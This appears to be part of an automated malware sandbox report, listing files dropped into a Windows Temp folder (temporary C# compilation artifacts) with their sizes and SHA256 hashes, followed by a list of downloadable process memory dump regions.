                        CSC11D47333CA0C402EAF3D7F6CDED3E667.TMP
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\4d124kpe\CSC11D47333CA0C402EAF3D7F6CDED3E667.TMP
                        • Size 652B
                        • SHA256 6ee4e38a23ef97e334a71e5545f730e1c89615e7d69c99549c7adc971eb0b25e
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        CSCF5DCB15E6A734F829F2EA3A0CE2CFDC.TMP
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\px1f4r3c\CSCF5DCB15E6A734F829F2EA3A0CE2CFDC.TMP
                        • Size 652B
                        • SHA256 43b3d8eba6e38c218f4bb7f8367b293d8386def4d202815696b4ee6d7d123408
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        px1f4r3c.0.cs
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\px1f4r3c\px1f4r3c.0.cs
                        • Size 3KB
                        • SHA256 fef616539d744b2571db07f236d23fec963bd8ebb1f0c892da4763aae35e75a7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        px1f4r3c.cmdline
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\px1f4r3c\px1f4r3c.cmdline
                        • Size 369B
                        • SHA256 f61bd05a25f6a539eeba336da371f6ea713c7844f430d2fd5a7a632cdb1bf6b4
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        CSCBB287C399B554DA3BD74EF8F559CD4D0.TMP
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\wzt1cqzg\CSCBB287C399B554DA3BD74EF8F559CD4D0.TMP
                        • Size 652B
                        • SHA256 2246adccda80086acccf227427f2d9e609c3994cd7200493854bd5edc1daef40
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        wzt1cqzg.cmdline
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\wzt1cqzg\wzt1cqzg.cmdline
                        • Size 369B
                        • SHA256 4df1f15ed056f30284da91cbf328403b4ec7add1e968a9fa60c93774a4b4ff44
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        memory/376-138-0x00000216A4F60000-0x00000216A4F6C000-memory.dmp
                        Download

                        memory/400-99-0x000001B1F9160000-0x000001B1F916C000-memory.dmp
                        Download

                        memory/636-60-0x000001AACE700000-0x000001AACE70C000-memory.dmp
                        Download

                        memory/1268-66-0x0000014AF51F0000-0x0000014AF53B2000-memory.dmp
                        Download

                        memory/1268-69-0x0000014ADC410000-0x0000014ADC41C000-memory.dmp
                        Download

                        memory/1268-67-0x0000014AF58F0000-0x0000014AF5E18000-memory.dmp
                        Download

                        memory/1268-65-0x0000014AF4950000-0x0000014AF4958000-memory.dmp
                        Download

                        memory/1584-148-0x0000024102F70000-0x0000024102F7C000-memory.dmp
                        Download

                        memory/4120-102-0x00000241B9160000-0x00000241B916C000-memory.dmp
                        Download

                        memory/4660-28-0x000001942EB00000-0x000001942EB0C000-memory.dmp
                        Download

                        memory/4660-1-0x0000019447200000-0x0000019447210000-memory.dmp
                        Download

                        memory/4660-25-0x000001942EC60000-0x000001942EC68000-memory.dmp
                        Download

                        memory/4660-7-0x00000194471D0000-0x00000194471F2000-memory.dmp
                        Download

                        memory/4872-40-0x0000020C49E90000-0x0000020C49E9C000-memory.dmp
                        Download

                        memory/4872-38-0x0000020C62AA0000-0x0000020C62AF0000-memory.dmp
                        Download

                        memory/5148-63-0x000002A83F170000-0x000002A83F17C000-memory.dmp
                        Download

                        memory/5160-20-0x000001FD5E390000-0x000001FD5E39C000-memory.dmp
                        Download

                        memory/5580-79-0x00000221E26E0000-0x00000221E26EC000-memory.dmp
                        Download

                        memory/5728-104-0x000001397F3A0000-0x000001397F3A8000-memory.dmp
                        Download

                        memory/5728-106-0x000001397D3B0000-0x000001397D3BC000-memory.dmp
                        Download

                        memory/6036-23-0x0000027355360000-0x000002735536C000-memory.dmp
                        Download